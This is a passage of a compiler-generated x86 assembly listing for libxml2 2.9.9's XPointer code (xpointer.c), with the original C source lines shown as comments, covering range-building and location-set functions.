; 1968 : } else {
; 1969 : switch (node->type) {
mov ecx, DWORD PTR [esi+4]
lea eax, DWORD PTR [ecx-1]
cmp eax, 12 ; 0000000cH
ja SHORT $LN8@xmlXPtrCov
movzx eax, BYTE PTR $LN33@xmlXPtrCov[eax]
jmp DWORD PTR $LN35@xmlXPtrCov[eax*4]
$LN15@xmlXPtrCov:
; 1996 : }
; 1997 : return(NULL);
; 1998 : }
push esi
call _xmlXPtrGetArity
push eax
push esi
push 0
push esi
call _xmlXPtrNewRange
add esp, 20 ; 00000014H
pop esi
pop ebp
ret 0
$LN16@xmlXPtrCov:
; 1970 : case XML_ATTRIBUTE_NODE:
; 1971 : /* !!! our model is slightly different than XPath */
; 1972 : return(xmlXPtrNewRange(node, 0, node,
; 1973 : xmlXPtrGetArity(node)));
; 1974 : case XML_ELEMENT_NODE:
; 1975 : case XML_TEXT_NODE:
; 1976 : case XML_CDATA_SECTION_NODE:
; 1977 : case XML_ENTITY_REF_NODE:
; 1978 : case XML_PI_NODE:
; 1979 : case XML_COMMENT_NODE:
; 1980 : case XML_DOCUMENT_NODE:
; 1981 : case XML_NOTATION_NODE:
; 1982 : case XML_HTML_DOCUMENT_NODE: {
; 1983 : int indx = xmlXPtrGetIndex(node);
mov eax, esi
; 169 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp ecx, 18 ; 00000012H
je SHORT $LN25@xmlXPtrCov
; 171 : for (i = 1;cur != NULL;cur = cur->prev) {
mov edx, 1
$LL23@xmlXPtrCov:
; 172 : if ((cur->type == XML_ELEMENT_NODE) ||
; 173 : (cur->type == XML_DOCUMENT_NODE) ||
mov ecx, DWORD PTR [eax+4]
cmp ecx, 1
je SHORT $LN27@xmlXPtrCov
cmp ecx, 9
je SHORT $LN27@xmlXPtrCov
cmp ecx, 13 ; 0000000dH
jne SHORT $LN21@xmlXPtrCov
$LN27@xmlXPtrCov:
; 174 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 175 : i++;
inc edx
$LN21@xmlXPtrCov:
; 171 : for (i = 1;cur != NULL;cur = cur->prev) {
mov eax, DWORD PTR [eax+28]
test eax, eax
jne SHORT $LL23@xmlXPtrCov
; 176 : }
; 177 : }
; 178 : return(i);
jmp SHORT $LN20@xmlXPtrCov
$LN25@xmlXPtrCov:
; 170 : return(-1);
or edx, -1
$LN20@xmlXPtrCov:
; 1984 :
; 1985 : node = node->parent;
mov ecx, DWORD PTR [esi+20]
; 1986 : return(xmlXPtrNewRange(node, indx - 1,
lea eax, DWORD PTR [edx+1]
push eax
push ecx
lea eax, DWORD PTR [edx-1]
push eax
push ecx
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
pop esi
; 1996 : }
; 1997 : return(NULL);
; 1998 : }
pop ebp
ret 0
$LN9@xmlXPtrCov:
; 1956 : case XPATH_POINT:
; 1957 : return(xmlXPtrNewRange(loc->user, loc->index,
mov eax, DWORD PTR [ecx+32]
mov ecx, DWORD PTR [ecx+28]
push eax
push ecx
push eax
push ecx
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
pop esi
; 1996 : }
; 1997 : return(NULL);
; 1998 : }
pop ebp
ret 0
$LN35@xmlXPtrCov:
DD $LN16@xmlXPtrCov
DD $LN15@xmlXPtrCov
DD $LN8@xmlXPtrCov
$LN33@xmlXPtrCov:
DB 0
DB 1
DB 0
DB 0
DB 0
DB 2
DB 0
DB 0
DB 0
DB 2
DB 2
DB 0
DB 0
_xmlXPtrCoveringRange ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNbLocChildren
_TEXT SEGMENT
_node$ = 8 ; size = 4
_xmlXPtrNbLocChildren PROC ; COMDAT
; 1676 : xmlXPtrNbLocChildren(xmlNodePtr node) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov edx, DWORD PTR _node$[ebp]
xor ecx, ecx
test edx, edx
je SHORT $LN11@xmlXPtrNbL
; 1677 : int ret = 0;
; 1678 : if (node == NULL)
; 1679 : return(-1);
; 1680 : switch (node->type) {
mov eax, DWORD PTR [edx+4]
dec eax
cmp eax, 12 ; 0000000cH
ja SHORT $LN11@xmlXPtrNbL
movzx eax, BYTE PTR $LN17@xmlXPtrNbL[eax]
jmp DWORD PTR $LN19@xmlXPtrNbL[eax*4]
$LN7@xmlXPtrNbL:
; 1681 : case XML_HTML_DOCUMENT_NODE:
; 1682 : case XML_DOCUMENT_NODE:
; 1683 : case XML_ELEMENT_NODE:
; 1684 : node = node->children;
mov edx, DWORD PTR [edx+12]
; 1685 : while (node != NULL) {
test edx, edx
je SHORT $LN2@xmlXPtrNbL
$LL4@xmlXPtrNbL:
; 1686 : if (node->type == XML_ELEMENT_NODE)
; 1687 : ret++;
; 1688 : node = node->next;
cmp DWORD PTR [edx+4], 1
lea eax, DWORD PTR [ecx+1]
mov edx, DWORD PTR [edx+24]
cmovne eax, ecx
mov ecx, eax
test edx, edx
jne SHORT $LL4@xmlXPtrNbL
; 1705 : }
pop ebp
ret 0
$LN10@xmlXPtrNbL:
; 1689 : }
; 1690 : break;
; 1691 : case XML_ATTRIBUTE_NODE:
; 1692 : return(-1);
; 1693 :
; 1694 : case XML_PI_NODE:
; 1695 : case XML_COMMENT_NODE:
; 1696 : case XML_TEXT_NODE:
; 1697 : case XML_CDATA_SECTION_NODE:
; 1698 : case XML_ENTITY_REF_NODE:
; 1699 : ret = xmlStrlen(node->content);
push DWORD PTR [edx+40]
call _xmlStrlen
add esp, 4
mov ecx, eax
$LN2@xmlXPtrNbL:
; 1703 : }
; 1704 : return(ret);
mov eax, ecx
; 1705 : }
pop ebp
ret 0
$LN11@xmlXPtrNbL:
; 1700 : break;
; 1701 : default:
; 1702 : return(-1);
or eax, -1
; 1705 : }
pop ebp
ret 0
npad 1
$LN19@xmlXPtrNbL:
DD $LN7@xmlXPtrNbL
DD $LN11@xmlXPtrNbL
DD $LN10@xmlXPtrNbL
DD $LN11@xmlXPtrNbL
$LN17@xmlXPtrNbL:
DB 0
DB 1
DB 2
DB 2
DB 2
DB 3
DB 2
DB 2
DB 0
DB 3
DB 3
DB 3
DB 0
_xmlXPtrNbLocChildren ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrBuildRangeNodeList
_TEXT SEGMENT
_tmp$4$ = -24 ; size = 4
_end$1$ = -20 ; size = 4
_start$1$ = -16 ; size = 4
$T1 = -12 ; size = 4
_tmp$1$ = -8 ; size = 4
_last$1$ = -8 ; size = 4
_parent$1$ = -4 ; size = 4
_index1$1$ = 8 ; size = 4
_range$ = 8 ; size = 4
_xmlXPtrBuildRangeNodeList PROC ; COMDAT
; 1409 : xmlXPtrBuildRangeNodeList(xmlXPathObjectPtr range) {
push ebp
mov ebp, esp
sub esp, 24 ; 00000018H
push ebx
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _range$[ebp]
xor esi, esi
xor edx, edx
mov DWORD PTR _last$1$[ebp], esi
xor ebx, ebx
mov DWORD PTR _parent$1$[ebp], edx
test eax, eax
je $LN9@xmlXPtrBui
; 1410 : /* pointers to generated nodes */
; 1411 : xmlNodePtr list = NULL, last = NULL, parent = NULL, tmp;
; 1412 : /* pointers to traversal nodes */
; 1413 : xmlNodePtr start, cur, end;
; 1414 : int index1, index2;
; 1415 :
; 1416 : if (range == NULL)
; 1417 : return(NULL);
; 1418 : if (range->type != XPATH_RANGE)
cmp DWORD PTR [eax], 6
jne $LN9@xmlXPtrBui
; 1419 : return(NULL);
; 1420 : start = (xmlNodePtr) range->user;
mov ecx, DWORD PTR [eax+28]
mov DWORD PTR _start$1$[ebp], ecx
; 1421 :
; 1422 : if ((start == NULL) || (start->type == XML_NAMESPACE_DECL))
test ecx, ecx
je $LN9@xmlXPtrBui
cmp DWORD PTR [ecx+4], 18 ; 00000012H
je $LN9@xmlXPtrBui
; 1423 : return(NULL);
; 1424 : end = range->user2;
mov edi, DWORD PTR [eax+36]
mov DWORD PTR _end$1$[ebp], edi
; 1425 : if (end == NULL)
test edi, edi
jne SHORT $LN10@xmlXPtrBui
; 1426 : return(xmlCopyNode(start, 1));
push 1
push ecx
call _xmlCopyNode
add esp, 8
pop edi
; 1567 : }
; 1568 : return(list);
; 1569 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@xmlXPtrBui:
; 1427 : if (end->type == XML_NAMESPACE_DECL)
cmp DWORD PTR [edi+4], 18 ; 00000012H
je $LN9@xmlXPtrBui
; 1428 : return(NULL);
; 1429 :
; 1430 : cur = start;
mov edi, ecx
; 1431 : index1 = range->index;
mov ecx, DWORD PTR [eax+32]
; 1432 : index2 = range->index2;
mov eax, DWORD PTR [eax+40]
mov DWORD PTR _index1$1$[ebp], ecx
mov DWORD PTR $T1[ebp], eax
npad 1
$LL2@xmlXPtrBui:
; 1434 : if (cur == end) {
cmp edi, DWORD PTR _end$1$[ebp]
jne $LN12@xmlXPtrBui
; 1435 : if (cur->type == XML_TEXT_NODE) {
cmp DWORD PTR [edi+4], 3
je $LN55@xmlXPtrBui
; 1461 : } else {
; 1462 : tmp = xmlCopyNode(cur, 0);
push 0
push edi
call _xmlCopyNode
add esp, 8
mov DWORD PTR _tmp$1$[ebp], eax
; 1463 : if (list == NULL)
test ebx, ebx
jne SHORT $LN23@xmlXPtrBui
; 1464 : list = tmp;
mov ebx, eax
jmp SHORT $LN26@xmlXPtrBui
$LN23@xmlXPtrBui:
; 1465 : else {
; 1466 : if (last != NULL)
push eax
test esi, esi
je SHORT $LN25@xmlXPtrBui
; 1467 : xmlAddNextSibling(last, tmp);
push esi
call _xmlAddNextSibling
jmp SHORT $LN65@xmlXPtrBui
$LN25@xmlXPtrBui:
; 1468 : else
; 1469 : xmlAddChild(parent, tmp);
mov ecx, DWORD PTR _parent$1$[ebp]
push ecx
call _xmlAddChild
$LN65@xmlXPtrBui:
; 1470 : }
; 1471 : last = NULL;
mov eax, DWORD PTR _tmp$1$[ebp]
add esp, 8
$LN26@xmlXPtrBui:
xor esi, esi
; 1472 : parent = tmp;
mov DWORD PTR _parent$1$[ebp], eax
; 1473 :
; 1474 : if (index2 > 1) {
mov eax, DWORD PTR $T1[ebp]
mov DWORD PTR _last$1$[ebp], esi
cmp eax, 1
jle SHORT $LN27@xmlXPtrBui
; 1475 : end = xmlXPtrGetNthChild(cur, index2 - 1);
dec eax
push eax
push edi
call _xmlXPtrGetNthChild
add esp, 8
mov DWORD PTR _end$1$[ebp], eax
; 1476 : index2 = 0;
xor eax, eax
mov DWORD PTR $T1[ebp], eax
$LN27@xmlXPtrBui:
; 1477 : }
; 1478 : if ((cur == start) && (index1 > 1)) {
cmp edi, DWORD PTR _start$1$[ebp]
jne SHORT $LN28@xmlXPtrBui
mov eax, DWORD PTR _index1$1$[ebp]
cmp eax, 1
jle SHORT $LN28@xmlXPtrBui
; 1479 : cur = xmlXPtrGetNthChild(cur, index1 - 1);
dec eax
push eax
push edi
call _xmlXPtrGetNthChild
add esp, 8
; 1480 : index1 = 0;
xor ecx, ecx
mov DWORD PTR _index1$1$[ebp], ecx
; 1481 : } else {
jmp $LN66@xmlXPtrBui
$LN28@xmlXPtrBui:
; 1482 : cur = cur->children;
mov edi, DWORD PTR [edi+12]
; 1483 : }
; 1484 : /*
; 1485 : * Now gather the remaining nodes from cur to end
; 1486 : */
; 1487 : continue; /* while */
mov ecx, DWORD PTR _index1$1$[ebp]
jmp $LN58@xmlXPtrBui
$LN12@xmlXPtrBui:
; 1488 : }
; 1489 : } else if ((cur == start) &&
cmp edi, DWORD PTR _start$1$[ebp]
jne $LN30@xmlXPtrBui
test ebx, ebx
jne $LN30@xmlXPtrBui
; 1490 : (list == NULL) /* looks superfluous but ... */ ) {
; 1491 : if ((cur->type == XML_TEXT_NODE) ||
mov eax, DWORD PTR [edi+4]
cmp eax, 3
je SHORT $LN34@xmlXPtrBui
cmp eax, 4
je SHORT $LN34@xmlXPtrBui
; 1502 : }
; 1503 : last = list = tmp;
; 1504 : } else {
; 1505 : if ((cur == start) && (index1 > 1)) {
cmp ecx, 1
jle SHORT $LN38@xmlXPtrBui
; 1506 : tmp = xmlCopyNode(cur, 0);
push ebx
push edi
call _xmlCopyNode
mov ebx, eax
; 1507 : list = tmp;
; 1508 : parent = tmp;
; 1509 : last = NULL;
xor esi, esi
; 1510 : cur = xmlXPtrGetNthChild(cur, index1 - 1);
mov eax, DWORD PTR _index1$1$[ebp]
dec eax
mov DWORD PTR _parent$1$[ebp], ebx
push eax
push edi
mov DWORD PTR _last$1$[ebp], esi
call _xmlXPtrGetNthChild
add esp, 16 ; 00000010H
; 1511 : index1 = 0;
xor ecx, ecx
mov DWORD PTR _index1$1$[ebp], ecx
; 1512 : /*
; 1513 : * Now gather the remaining nodes from cur to end
; 1514 : */
; 1515 : continue; /* while */
jmp $LN66@xmlXPtrBui
$LN38@xmlXPtrBui:
; 1516 : }
; 1517 : tmp = xmlCopyNode(cur, 1);
push 1
push edi
call _xmlCopyNode
; 1518 : list = tmp;
; 1519 : parent = NULL;
; 1520 : last = tmp;
; 1521 : }
; 1522 : } else {
mov ebx, eax
add esp, 8
xor edx, edx
mov esi, ebx
mov DWORD PTR _parent$1$[ebp], edx
mov DWORD PTR _last$1$[ebp], esi
jmp $LN48@xmlXPtrBui
$LN34@xmlXPtrBui:
; 1492 : (cur->type == XML_CDATA_SECTION_NODE)) {
; 1493 : const xmlChar *content = cur->content;
mov eax, DWORD PTR [edi+40]
; 1494 :
; 1495 : if (content == NULL) {
test eax, eax
jne SHORT $LN35@xmlXPtrBui
; 1496 : tmp = xmlNewTextLen(NULL, 0);
push eax
push eax
call _xmlNewTextLen
mov edx, DWORD PTR _parent$1$[ebp]
; 1518 : list = tmp;
; 1519 : parent = NULL;
; 1520 : last = tmp;
; 1521 : }
; 1522 : } else {
mov ebx, eax
mov esi, ebx
add esp, 8
mov DWORD PTR _last$1$[ebp], esi
jmp $LN48@xmlXPtrBui
$LN35@xmlXPtrBui:
; 1497 : } else {
; 1498 : if (index1 > 1) {
cmp ecx, 1
jle SHORT $LN37@xmlXPtrBui
; 1499 : content += (index1 - 1);
dec eax
add eax, ecx
$LN37@xmlXPtrBui:
; 1500 : }
; 1501 : tmp = xmlNewText(content);
push eax
call _xmlNewText
mov edx, DWORD PTR _parent$1$[ebp]
; 1518 : list = tmp;
; 1519 : parent = NULL;
; 1520 : last = tmp;
; 1521 : }
; 1522 : } else {
mov ebx, eax
mov esi, ebx
add esp, 4
mov DWORD PTR _last$1$[ebp], esi
jmp $LN48@xmlXPtrBui
$LN30@xmlXPtrBui:
; 1523 : tmp = NULL;
; 1524 : switch (cur->type) {
mov eax, DWORD PTR [edi+4]
add eax, -2 ; fffffffeH
cmp eax, 18 ; 00000012H
ja SHORT $LN43@xmlXPtrBui
movzx eax, BYTE PTR $LN63@xmlXPtrBui[eax]
jmp DWORD PTR $LN73@xmlXPtrBui[eax*4]
$LN40@xmlXPtrBui:
; 1525 : case XML_DTD_NODE:
; 1526 : case XML_ELEMENT_DECL:
; 1527 : case XML_ATTRIBUTE_DECL:
; 1528 : case XML_ENTITY_NODE:
; 1529 : /* Do not copy DTD informations */
; 1530 : break;
; 1531 : case XML_ENTITY_DECL:
; 1532 : TODO /* handle crossing entities -> stack needed */
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 1532 ; 000005fcH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
; 1533 : break;
mov esi, DWORD PTR _last$1$[ebp]
add esp, 16 ; 00000010H
jmp SHORT $LN64@xmlXPtrBui
$LN42@xmlXPtrBui:
; 1534 : case XML_XINCLUDE_START:
; 1535 : case XML_XINCLUDE_END:
; 1536 : /* don't consider it part of the tree content */
; 1537 : break;
; 1538 : case XML_ATTRIBUTE_NODE:
; 1539 : /* Humm, should not happen ! */
; 1540 : STRANGE
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 1540 ; 00000604H
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
; 1541 : break;
mov esi, DWORD PTR _last$1$[ebp]
add esp, 16 ; 00000010H
jmp SHORT $LN64@xmlXPtrBui
$LN43@xmlXPtrBui:
; 1542 : default:
; 1543 : tmp = xmlCopyNode(cur, 1);
push 1
push edi
call _xmlCopyNode
add esp, 8
mov DWORD PTR _tmp$4$[ebp], eax
; 1544 : break;
; 1545 : }
; 1546 : if (tmp != NULL) {
test eax, eax
je SHORT $LN64@xmlXPtrBui
; 1547 : if ((list == NULL) || ((last == NULL) && (parent == NULL))) {
test ebx, ebx
je $LN56@xmlXPtrBui
test esi, esi
jne SHORT $LN61@xmlXPtrBui
mov ecx, DWORD PTR _parent$1$[ebp]
test ecx, ecx
je $LN56@xmlXPtrBui
; 1553 : else {
; 1554 : xmlAddChild(parent, tmp);
push eax
push ecx
call _xmlAddChild
; 1555 : last = tmp;
mov esi, DWORD PTR _tmp$4$[ebp]
mov DWORD PTR _last$1$[ebp], esi
jmp SHORT $LN70@xmlXPtrBui
$LN61@xmlXPtrBui:
; 1550 : }
; 1551 : if (last != NULL)
; 1552 : xmlAddNextSibling(last, tmp);
push eax
push esi
call _xmlAddNextSibling
$LN70@xmlXPtrBui:
; 1556 : }
; 1557 : }
; 1558 : }
; 1559 : /*
; 1560 : * Skip to next node in document order
; 1561 : */
; 1562 : if ((list == NULL) || ((last == NULL) && (parent == NULL))) {
add esp, 8
$LN64@xmlXPtrBui:
mov edx, DWORD PTR _parent$1$[ebp]
$LN48@xmlXPtrBui:
test ebx, ebx
je $LN57@xmlXPtrBui
test esi, esi
jne SHORT $LN49@xmlXPtrBui
test edx, edx
je $LN57@xmlXPtrBui
$LN49@xmlXPtrBui:
; 1564 : return(NULL);
; 1565 : }
; 1566 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
push edi
call _xmlXPtrAdvanceNode
mov ecx, DWORD PTR _index1$1$[ebp]
add esp, 8
$LN66@xmlXPtrBui:
; 1433 : while (cur != NULL) {
mov edi, eax
$LN58@xmlXPtrBui:
test edi, edi
je SHORT $LN62@xmlXPtrBui
mov edx, DWORD PTR _parent$1$[ebp]
jmp $LL2@xmlXPtrBui
$LN55@xmlXPtrBui:
; 1436 : const xmlChar *content = cur->content;
mov eax, DWORD PTR [edi+40]
; 1437 : int len;
; 1438 :
; 1439 : if (content == NULL) {
test eax, eax
jne SHORT $LN16@xmlXPtrBui
; 1440 : tmp = xmlNewTextLen(NULL, 0);
xor edx, edx
; 1441 : } else {
jmp SHORT $LN19@xmlXPtrBui
$LN16@xmlXPtrBui:
; 1442 : len = index2;
; 1443 : if ((cur == start) && (index1 > 1)) {
cmp edi, DWORD PTR _start$1$[ebp]
jne SHORT $LN18@xmlXPtrBui
cmp ecx, 1
jle SHORT $LN18@xmlXPtrBui
; 1444 : content += (index1 - 1);
; 1445 : len -= (index1 - 1);
mov edx, DWORD PTR $T1[ebp]
dec eax
sub edx, ecx
add eax, ecx
inc edx
; 1446 : index1 = 0;
; 1447 : } else {
jmp SHORT $LN19@xmlXPtrBui
$LN18@xmlXPtrBui:
; 1448 : len = index2;
mov edx, DWORD PTR $T1[ebp]
$LN19@xmlXPtrBui:
; 1449 : }
; 1450 : tmp = xmlNewTextLen(content, len);
; 1451 : }
; 1452 : /* single sub text node selection */
; 1453 : if (list == NULL)
push edx
push eax
call _xmlNewTextLen
add esp, 8
test ebx, ebx
je SHORT $LN1@xmlXPtrBui
; 1454 : return(tmp);
; 1455 : /* prune and return full set */
; 1456 : if (last != NULL)
push eax
test esi, esi
je SHORT $LN21@xmlXPtrBui
; 1457 : xmlAddNextSibling(last, tmp);
push esi
call _xmlAddNextSibling
; 1460 : return(list);
add esp, 8
; 1567 : }
; 1568 : return(list);
; 1569 : }
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN21@xmlXPtrBui:
; 1458 : else
; 1459 : xmlAddChild(parent, tmp);
mov ecx, DWORD PTR _parent$1$[ebp]
push ecx
call _xmlAddChild
; 1460 : return(list);
add esp, 8
$LN62@xmlXPtrBui:
; 1567 : }
; 1568 : return(list);
; 1569 : }
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN56@xmlXPtrBui:
; 1548 : STRANGE
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 1548 ; 0000060cH
; 1549 : return(NULL);
jmp SHORT $LN71@xmlXPtrBui
$LN57@xmlXPtrBui:
; 1563 : STRANGE
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 1563 ; 0000061bH
$LN71@xmlXPtrBui:
; 1567 : }
; 1568 : return(list);
; 1569 : }
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
add esp, 16 ; 00000010H
$LN9@xmlXPtrBui:
xor eax, eax
$LN1@xmlXPtrBui:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
npad 2
$LN73@xmlXPtrBui:
DD $LN42@xmlXPtrBui
DD $LN48@xmlXPtrBui
DD $LN40@xmlXPtrBui
DD $LN43@xmlXPtrBui
$LN63@xmlXPtrBui:
DB 0
DB 3
DB 3
DB 3
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 2
DB 3
DB 1
DB 1
_xmlXPtrBuildRangeNodeList ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrRangeFunction
_TEXT SEGMENT
_newset$1$ = -8 ; size = 4
_oldset$1$ = -4 ; size = 4
_set$1$ = 8 ; size = 4
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrRangeFunction PROC ; COMDAT
; 2014 : xmlXPtrRangeFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
sub esp, 8
mov ecx, OFFSET __BEF3E6F7_xpointer@c
push edi
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _ctxt$[ebp]
test edi, edi
je $LN1@xmlXPtrRan
; 2015 : int i;
; 2016 : xmlXPathObjectPtr set;
; 2017 : xmlLocationSetPtr oldset;
; 2018 : xmlLocationSetPtr newset;
; 2019 :
; 2020 : CHECK_ARITY(1);
cmp DWORD PTR _nargs$[ebp], 1
je SHORT $LN6@xmlXPtrRan
push 12 ; 0000000cH
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 2061 : }
mov esp, ebp
pop ebp
ret 0
$LN6@xmlXPtrRan:
; 2015 : int i;
; 2016 : xmlXPathObjectPtr set;
; 2017 : xmlLocationSetPtr oldset;
; 2018 : xmlLocationSetPtr newset;
; 2019 :
; 2020 : CHECK_ARITY(1);
mov eax, DWORD PTR [edi+44]
inc eax
cmp DWORD PTR [edi+20], eax
jge SHORT $LN7@xmlXPtrRan
push 23 ; 00000017H
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 2061 : }
mov esp, ebp
pop ebp
ret 0
$LN7@xmlXPtrRan:
; 2021 : if ((ctxt->value == NULL) ||
mov eax, DWORD PTR [edi+16]
test eax, eax
je $LN9@xmlXPtrRan
mov eax, DWORD PTR [eax]
cmp eax, 7
je SHORT $LN8@xmlXPtrRan
cmp eax, 1
jne $LN9@xmlXPtrRan
$LN8@xmlXPtrRan:
push ebx
push esi
; 2025 :
; 2026 : set = valuePop(ctxt);
push edi
call _valuePop
mov ebx, eax
add esp, 4
mov DWORD PTR _set$1$[ebp], ebx
; 2027 : if (set->type == XPATH_NODESET) {
cmp DWORD PTR [ebx], 1
jne SHORT $LN10@xmlXPtrRan
; 2028 : xmlXPathObjectPtr tmp;
; 2029 :
; 2030 : /*
; 2031 : * First convert to a location set
; 2032 : */
; 2033 : tmp = xmlXPtrNewLocationSetNodeSet(set->nodesetval);
push DWORD PTR [ebx+4]
call _xmlXPtrNewLocationSetNodeSet
; 2034 : xmlXPathFreeObject(set);
push ebx
mov esi, eax
call _xmlXPathFreeObject
add esp, 8
; 2035 : if (tmp == NULL)
test esi, esi
jne SHORT $LN11@xmlXPtrRan
; 2036 : XP_ERROR(XPATH_MEMORY_ERROR)
push 15 ; 0000000fH
push edi
call _xmlXPathErr
add esp, 8
pop esi
pop ebx
$LN1@xmlXPtrRan:
pop edi
; 2061 : }
mov esp, ebp
pop ebp
ret 0
$LN11@xmlXPtrRan:
; 2037 : set = tmp;
mov ebx, esi
mov DWORD PTR _set$1$[ebp], esi
$LN10@xmlXPtrRan:
; 2038 : }
; 2039 : oldset = (xmlLocationSetPtr) set->user;
mov eax, DWORD PTR [ebx+28]
; 2040 :
; 2041 : /*
; 2042 : * The loop is to compute the covering range for each item and add it
; 2043 : */
; 2044 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
mov DWORD PTR _oldset$1$[ebp], eax
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR _newset$1$[ebp], eax
; 2045 : if (newset == NULL) {
test eax, eax
jne SHORT $LN12@xmlXPtrRan
; 2046 : xmlXPathFreeObject(set);
push ebx
call _xmlXPathFreeObject
; 2047 : XP_ERROR(XPATH_MEMORY_ERROR);
push 15 ; 0000000fH
push edi
call _xmlXPathErr
add esp, 12 ; 0000000cH
pop esi
pop ebx
pop edi
; 2061 : }
mov esp, ebp
pop ebp
ret 0
$LN12@xmlXPtrRan:
; 2048 : }
; 2049 : if (oldset != NULL) {
mov eax, DWORD PTR _oldset$1$[ebp]
test eax, eax
je SHORT $LN3@xmlXPtrRan
; 2050 : for (i = 0;i < oldset->locNr;i++) {
xor ebx, ebx
cmp DWORD PTR [eax], ebx
jle SHORT $LN52@xmlXPtrRan
$LL4@xmlXPtrRan:
; 2051 : xmlXPtrLocationSetAdd(newset,
mov eax, DWORD PTR [eax+8]
mov ecx, DWORD PTR [eax+ebx*4]
; 1950 : if (loc == NULL)
test ecx, ecx
je SHORT $LN22@xmlXPtrRan
; 1951 : return(NULL);
; 1952 : if ((ctxt == NULL) || (ctxt->context == NULL) ||
mov eax, DWORD PTR [edi+12]
test eax, eax
je SHORT $LN22@xmlXPtrRan
mov edx, DWORD PTR [eax]
test edx, edx
je SHORT $LN22@xmlXPtrRan
; 1953 : (ctxt->context->doc == NULL))
; 1954 : return(NULL);
; 1955 : switch (loc->type) {
mov eax, DWORD PTR [ecx]
sub eax, 5
je $LN23@xmlXPtrRan
sub eax, 1
je SHORT $LN24@xmlXPtrRan
; 1987 : node, indx + 1));
; 1988 : }
; 1989 : default:
; 1990 : return(NULL);
; 1991 : }
; 1992 : }
; 1993 : }
; 1994 : default:
; 1995 : TODO /* missed one case ??? */
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 1995 ; 000007cbH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
add esp, 16 ; 00000010H
$LN22@xmlXPtrRan:
; 2051 : xmlXPtrLocationSetAdd(newset,
xor eax, eax
$LN15@xmlXPtrRan:
push eax
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
mov eax, DWORD PTR _oldset$1$[ebp]
inc ebx
add esp, 8
cmp ebx, DWORD PTR [eax]
jl SHORT $LL4@xmlXPtrRan
$LN52@xmlXPtrRan:
; 2052 : xmlXPtrCoveringRange(ctxt, oldset->locTab[i]));
; 2053 : }
; 2054 : }
; 2055 :
; 2056 : /*
; 2057 : * Save the new value and cleanup
; 2058 : */
; 2059 : valuePush(ctxt, xmlXPtrWrapLocationSet(newset));
mov ebx, DWORD PTR _set$1$[ebp]
$LN3@xmlXPtrRan:
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrWrapLocationSet
push eax
push edi
call _valuePush
; 2060 : xmlXPathFreeObject(set);
push ebx
call _xmlXPathFreeObject
add esp, 16 ; 00000010H
pop esi
pop ebx
pop edi
; 2061 : }
mov esp, ebp
pop ebp
ret 0
$LN24@xmlXPtrRan:
; 1960 : if (loc->user2 != NULL) {
mov eax, DWORD PTR [ecx+36]
test eax, eax
je SHORT $LN25@xmlXPtrRan
; 1961 : return(xmlXPtrNewRange(loc->user, loc->index,
push DWORD PTR [ecx+40]
push eax
push DWORD PTR [ecx+32]
push DWORD PTR [ecx+28]
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
jmp SHORT $LN15@xmlXPtrRan
$LN25@xmlXPtrRan:
; 1962 : loc->user2, loc->index2));
; 1963 : } else {
; 1964 : xmlNodePtr node = (xmlNodePtr) loc->user;
mov esi, DWORD PTR [ecx+28]
